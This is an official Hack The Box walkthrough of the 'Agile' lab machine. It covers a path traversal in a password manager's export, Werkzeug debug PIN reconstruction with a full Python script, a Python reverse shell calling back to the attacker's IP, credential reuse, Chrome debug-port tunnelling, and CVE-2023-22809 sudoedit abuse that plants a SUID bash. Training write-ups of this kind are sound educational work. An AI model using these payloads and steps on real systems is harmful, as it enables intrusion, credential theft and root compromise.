Agile HTB
Agile HTB
Agile HTB
Difficulty: Medium
Classification: Official
Synopsis
Agile is a medium difficulty Linux box that features a password management website on port 80.
Upon creating an account and adding a couple of passwords, the export to CSV functionality of the
website is found to be vulnerable to Arbitrary File Read. Enumeration of the other endpoints
shows that /download throws an error when accessed and brings up the Werkzeug debug
console. This console is protected via a PIN, however a combination of this console with the ability
to read files through the previously mentioned vulnerability allows users to reverse engineer this
PIN and execute system commands as www-data . Database credentials can then be identified in
order to connect to the password manager website's SQL database, which holds credentials for
the corum user on the system. A second version of the website is found to be running and an
automated system performs tests on it through the Selenium web driver. The debug port for
Selenium is open and through SSH tunnelling, attackers can access the test environment of the
website and acquire credentials for user edwards . Finally, a combination of CVE-2023-22809 , a
custom entry in the global bashrc file, and incorrect permissions on a Python virtual environment
activation script, lead to privilege escalation.
Skills Required
Basic Python Knowledge
Skills Learned
Abusing an Arbitrary File Read to read system files
Reverse Engineering the Python Debug console PIN
Exploiting CVE-2023-22809
Enumeration
Nmap
Let's begin by running an Nmap scan.
nmap -A -v 10.129.228.212
The scan shows two ports open and specifically port 22 ( SSH ) and 80 ( Nginx ). Upon visiting port
80 on our browser we are redirected to superpass.htb .
Web
Let's add the above vHost to our hosts file and refresh.
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://superpass.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download (Status: 302) [Size: 249] [--> /account/login?
next=%2Fdownload]
/static (Status: 301) [Size: 178] [-->
http://superpass.htb/static/]
/vault (Status: 302) [Size: 243] [--> /account/login?
next=%2Fvault]
The scan identifies an interesting endpoint called /download , so let's attempt to load it in our
browser.
Upon accessing this page an error is thrown in the Python Werkzeug debug page. We can click on
the small console icon next to one of the error lines to attempt to get an interactive shell, however,
we are prompted to enter a debug pin.
Let's leave this aside for now and check out the login page.
Trying out various default credentials proves to be fruitless, so let's instead attempt to register.
We register with the credentials TRX:password and are brought to the following page.
On this page it seems we can add or generate passwords and save our credentials for various
websites so that we do not lose them. We can test this functionality to see how it works by adding
a password for somesite.com .
There is also a button that gives us the ability to export these passwords into CSV format. Let's
fire up BurpSuite and capture the export request.
The first request seems to be targeting /vault/export . If we forward this request we get a
second one.
The second request seems to be to the /download endpoint. What is interesting about this
request is that it seems to specify the filename in the URL as fn=TRX_export_....csv . It is rarely
a good idea to grab file names via a GET parameter, as these values can be controlled by the user
and can potentially lead to an Arbitrary File Read vulnerability if not properly sanitised.
Let's right click on the request and send it to Repeater so that we can try out various different
payloads.
Changing the filename to ../../../../etc/passwd works and we can read the available users on
the system.
Foothold
Performing a Google search using the keywords Werkzeug LFI brings up this article about how
an Arbitrary File Read can be used to reverse engineer the PIN code for the Debug console that we
saw earlier. Further research also identifies this HackTricks page describing the same exploitation
process.
It seems that it might be possible to use the File Read vulnerability that we identified in order to
read private information on the target system that is used to generate the PIN code for the debug
console. Using this information we could then reverse engineer the PIN that the system is using.
Pin Generation
Let's talk about how the Werkzeug PIN is generated. In the first link above we can see the source
code of the file that is responsible for generating these PINs.
#!/usr/bin/python3
import hashlib
from itertools import chain
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
As we can see from the above code the information used for the PIN generation is divided into
two categories, the probably_public_bits and the private_bits . The first consists of the
username that is running the application, the module name or modname of the module that is
running (typically flask.app or werkzeug.debug ), the application name (sometimes Flask or
wsgi_app ), as well as the path to app.py in the Flask directory.
For the private bits we need the output of the uuid.getnode() command, which basically
consists of the MAC address of the computer, as well as the machine ID of the target system.
Private Bits
Let's proceed to grab all of this information via the file read vulnerability. We can use the following
Python code, which we find in HackTricks, to generate the PIN.
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod,
'__file__', None),
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
#h = hashlib.md5() # Changed in
https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Let's start with the username of the user that is running the application. We can find this by
reading the file /proc/self/environ through the AFR, which holds environmental variables for
the current user.
LANG=C.UTF-
8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binHOME=
/var/wwwLOGNAME=www-dataUSER=www-
dataINVOCATION_ID=d109d758dd924be6841749fd23640481JOURNAL_STREAM=8:32330SYSTEMD_E
XEC_PID=1071CONFIG_PATH=/app/config_prod.json
From the above output we can see that the username is www-data so we take note of this and put
it aside for now.
Identifying the module name and application name is a harder task as it depends on which
module is running and how the source code is structured. Research leads us to this blog which
contains the following useful table.
With trial and error we can use the above information to try to generate different PINs for each of
these names and see which one works.
Let's proceed to identify the path to Flask. This proves to be an easy task as this is listed in the
debug page.
As seen in the above page the Flask app.py lies in /app/venv/lib/python3.10/site-
packages/flask/app.py so we take note of this value as well.
To sum up, for the private bits we have the following data:
www-data
flask.app or werkzeug.debug
/app/venv/lib/python3.10/site-packages/flask/app.py
Let's add this data to the Python script shown above and proceed to the public bits.
Public Bits
For the public bits we must first grab the MAC address of the target system. To do this we must
first identify the name of the network interface that is in use. This can be found by reading the file
/proc/net/arp through the file read vulnerability.
As we can see in the output the device is called eth0 . Now we can proceed to read the MAC
address from /sys/class/net/eth0/address . After reading this as well we get the following MAC
address.
00:50:56:96:24:78
The address above must be converted from hexadecimal to decimal, which we can do via Python.
python3 -c 'print(0x005056962478)'
345050063992
We take note of this value and proceed to find the machine ID. To do this we concatenate the
value of /proc/self/cgroup after the final / with the value of /etc/machine-id . The value of
the machine ID is ed5b159560f54721827644bc9b220d00 and the value of cgroup is
0::/system.slice/superpass.service , therefore the final value becomes:
ed5b159560f54721827644bc9b220d00superpass.service
To sum up, the final values for the public bits are:
345050063992
ed5b159560f54721827644bc9b220d00superpass.service
With trial and error we can identify that the correct values for the module and application names
are flask.app and wsgi_app . The final Python code is as follows.
import hashlib
from itertools import chain
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod,
'__file__', None),
]
private_bits = [
'345050063992',# str(uuid.getnode()), /sys/class/net/ens33/address
'ed5b159560f54721827644bc9b220d00superpass.service'# get_machine_id(),
/etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
python3 gen-id.py
901-490-029
We copy the above PIN, go back to the debug console, click on the small console icon on the right
and input the PIN.
This works and we are granted an interactive console where we can execute Python commands.
Getting a reverse shell at this point is trivial.
nc -lvp 1234
We paste the following payload into the console, specifying our machine's tun0 IP, in this case
10.10.14.2 :
import
socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.1
0.14.2",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
pty.spawn("/bin/sh");
Lateral Movement
Enumeration of the system reveals a file called config_prod.json in /app . Let's read it.
This file reveals a username and password combination for the MySQL database that holds the
passwords for the website. Let's connect to it.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
This is successful and we can start enumerating the database. First let's show databases.
The superpass database is the only non-default database so let's use it and show the tables.
mysql> use superpass;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
This table contains an interesting password for user corum and specifically for the agile website.
Let's copy this password and attempt to SSH into the box.
ssh [email protected]
[email protected]'s password: 5db7caa1d13cc37c9fc2
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Lateral Movement 2
Enumeration of the file system reveals a second version of SuperPass that is seemingly used for
testing purposes and lies in /app/app-testing .
corum@agile:/app$ ls -al
total 36
drwxr-xr-x 6 root root 4096 Mar 8 15:30 .
drwxr-xr-x 20 root root 4096 Feb 20 23:29 ..
drwxr-xr-x 3 root root 4096 Jan 23 2023 .pytest_cache
drwxr-xr-x 5 corum runner 4096 Feb 8 16:29 app
drwxr-xr-x 9 runner runner 4096 Feb 8 16:36 app-testing
-r--r----- 1 dev_admin www-data 88 Jan 25 2023 config_prod.json
-r--r----- 1 dev_admin runner 99 Jan 25 2023 config_test.json
-rwxr-xr-x 1 root runner 557 Aug 4 21:24 test_and_update.sh
drwxrwxr-x 5 root dev_admin 4096 Feb 8 16:29 venv
Further enumeration of these subfolders reveals a file called creds.txt , which our current user is
unable to read.
corum@agile:/app/app-testing/tests/functional$ ls -al
total 20
drwxr-xr-x 3 runner runner 4096 Feb 7 13:12 .
drwxr-xr-x 3 runner runner 4096 Feb 6 18:10 ..
drwxrwxr-x 2 runner runner 4096 Aug 4 21:19 __pycache__
-rw-r----- 1 dev_admin runner 34 Aug 4 21:24 creds.txt
-rw-r--r-- 1 runner runner 2663 Aug 4 21:24 test_site_interactively.py
import os
import pytest
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
@pytest.fixture(scope="session")
def driver():
options = Options()
#options.add_argument("--no-sandbox")
options.add_argument("--window-size=1420,1080")
options.add_argument("--headless")
options.add_argument("--remote-debugging-port=41829")
options.add_argument('--disable-gpu')
options.add_argument('--crash-dumps-dir=/tmp')
driver = webdriver.Chrome(options=options)
yield driver
driver.close()
def test_login(driver):
print("starting test_login")
driver.get('http://test.superpass.htb/account/login')
time.sleep(1)
username_input = driver.find_element(By.NAME, "username")
username_input.send_keys(username)
password_input = driver.find_element(By.NAME, "password")
password_input.send_keys(password)
driver.find_element(By.NAME, "submit").click()
time.sleep(3)
title = driver.find_element(By.TAG_NAME, "h1")
assert title.text == "Welcome to your vault"
def test_add_password(driver):
print("starting test_add_password")
driver.find_element(By.NAME, "add_password").click()
time.sleep(3)
site = driver.find_element(By.NAME, "url")
site.send_keys("test_site")
username = driver.find_element(By.NAME, "username")
username.send_keys("test_user")
driver.find_element(By.CLASS_NAME, "fa-save").click()
time.sleep(3)
def test_del_password(driver):
print("starting test_del_password")
password_rows = driver.find_elements(By.CLASS_NAME, "password-row")
time.sleep(3)
assert 'test_site' not in driver.page_source
assert 'test_user' not in driver.page_source
def test_title(driver):
print("starting test_title")
driver.get('http://test.superpass.htb')
time.sleep(3)
assert "SuperPassword 🦸" == driver.title
def test_long_running(driver):
print("starting test_long_running")
driver.get('http://test.superpass.htb')
time.sleep(550)
#time.sleep(5)
assert "SuperPasword 🦸" == driver.title
The above Python code seems to be reading the credentials in creds.txt , loading the Selenium
web driver and logging in to the test version of the website with the credentials from creds.txt
in order to perform some tests.
From the configuration files of Nginx we can see that the test website is running on port 5555.
cat /etc/nginx/sites-available/superpass-test.nginx
server {
listen 127.0.0.1:80;
server_name test.superpass.htb;
location /static {
alias /app/app-testing/superpass/static;
expires 365d;
}
location / {
include uwsgi_params;
proxy_pass http://127.0.0.1:5555;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Protocol $scheme;
}
}
This does not help us much however, as we do not have credentials to login. Selenium is a web
driver that is based on Chrome, and it typically has a debug port open that can be used to debug
the application. Let's see if this port is active.
ps -aux | more
<SNIP>
runner 46576 0.1 2.6 33978264 103872 ? Sl 21:31 0:00
/usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-
background-networking --disable-client-side-phishing-dete
ction --disable-default-apps --disable-gpu --disable-hang-monitor --disable-
popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --
enable-blink-features=ShadowDOMV0 --enable-logging
--headless --log-level=0 --no-first-run --no-service-autorun --password-
store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-
keychain --user-data-dir=/tmp/.com.google.Chrome.PECdlp -
-window-size=1420,1080 data:,
</SNIP>
As we can see from the above output the debug port is 41829 . Let's use SSH tunnelling to forward
this port to our local machine.
If done correctly a new entry will pop up in the Remote Target section.
Click on inspect and a new window will pop up.
Click on the link to Vault so that we can see any passwords saved in the test website.
In the Vault we can see a password for agile for user edwards with a value of
d07867c6267dcb5df0af . We can use this password to switch to this user.
corum@agile:~$ su edwards
Password: d07867c6267dcb5df0af
edwards@agile:/home/corum$ id
uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)
Privilege Escalation
Checking for SUDO privileges we see some interesting entries.
edwards@agile:~$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/s
nap/bin, use_pty
It turns out user Edward can run sudoedit for two specific files as user dev_admin . We can read
both of these files as follows.
{
"SQL_URI":
"mysql+pymysql://superpasstester:VUO8A2c2#3FnLq3*a9DX1U@localhost/superpasstest"
}
edwards:1d7ffjwrx#$d6qn!9nndqgde4
These files do not help us much at this point, however. Performing a Google search with the
keywords sudoedit exploit we quickly come upon this security advisory from Synaktiv for
CVE-2023-22809 that details how sudo policy can be bypassed when using sudoedit for sudo
versions 1.8.0 through 1.9.12p1 . Let's check the system's version.
The test_and_upgrade.sh bash script found in /app shows an interesting command being used
and specifically source /app/venv/bin/activate .
# update prod with latest from testing constantly assuming tests are passing
# tests good, update prod (flask debug mode will load it instantly)
cp -r superpass /app/app/
echo "Complete!"
The comment right above this line is quite interesting as well, because it mentions that system-
wide sourcing does not function properly for cron jobs. This potentially means that the Python
virtual environment file is being sourced elsewhere too. Let's take a look at the global bashrc file
found in /etc/ .
Indeed, we can see that the same file is being sourced in the global bashrc configuration file and
this file will be executed every time a user logs into the system.
The main reason that this file is not executed and in turn that the Python virtual environment is
not loaded when our current or previous users log into the system, is because the more specific
.bashrc files in each user's home directory take precedent over the global one. Let's take a look
at the virtual environment activation file.
edwards@agile:~$ ls -al /app/venv/bin/activate
-rw-rw-r-- 1 root dev_admin 1976 Aug 5 17:03 /app/venv/bin/activate
We can see that the file is owned by root and group-owned by dev_admin and the latter has
permissions to edit this file.
An attack plan starts to form. If the system is indeed vulnerable to CVE-2023-22809 we could
abuse it to write our own commands to /app/venv/bin/activate and when the root user logs
in, have them execute those commands so that we can get an elevated shell on the system.
Let's now perform the exploitation. First let's edit /app/venv/bin/activate with the following
command.
While editing this file, let's add the following lines at the bottom.
cp /bin/bash /tmp/TRX
chmod 4777 /tmp/TRX
These lines will create a copy of bash to /tmp and will add the SUID bit to the executable,
meaning if we run it, it will run as the user that owns it, in this case root .
After waiting a while we can see that the executable has been created in /tmp .
edwards@agile:/tmp$ ls -al
total 1440
drwxrwxrwt 19 root root 4096 Aug 5 17:14 .
drwxr-xr-x 20 root root 4096 Feb 20 23:29 ..
drwxrwxrwt 2 root root 4096 Aug 5 16:32 .ICE-unix
drwxrwxrwt 2 root root 4096 Aug 5 16:32 .Test-unix
drwxrwxrwt 2 root root 4096 Aug 5 16:32 .X11-unix
drwxrwxrwt 2 root root 4096 Aug 5 16:32 .XIM-unix
drwx------ 3 runner runner 4096 Aug 5 17:06 .com.google.Chrome.9EXEEH
drwx------ 2 runner runner 4096 Aug 5 17:06 .com.google.Chrome.obZhVV
drwxrwxrwt 2 root root 4096 Aug 5 16:32 .font-unix
-rwsrwxrwx 1 root root 1396520 Aug 5 17:14 TRX
drwx------ 2 runner runner 4096 Aug 5 16:33 attachments
drwx------ 2 runner runner 4096 Aug 5 16:33 completed
drwx------ 2 runner runner 4096 Aug 5 16:33 new
drwx------ 2 runner runner 4096 Aug 5 16:33 pending
drwx------ 2 root root 4096 Aug 5 16:32 snap-private-tmp
drwx------ 2 edwards edwards 4096 Aug 5 16:42 tmux-1002
drwx------ 2 root root 4096 Aug 5 16:34 vmware-root_595-4013788883
Finally we can execute this file to get a an effective UID of 0 ( root ) with the following command.
edwards@agile:/tmp$ ./TRX -p
edwards@agile:/tmp# id
uid=1002(edwards) gid=1002(edwards) euid=0(root) groups=1002(edwards)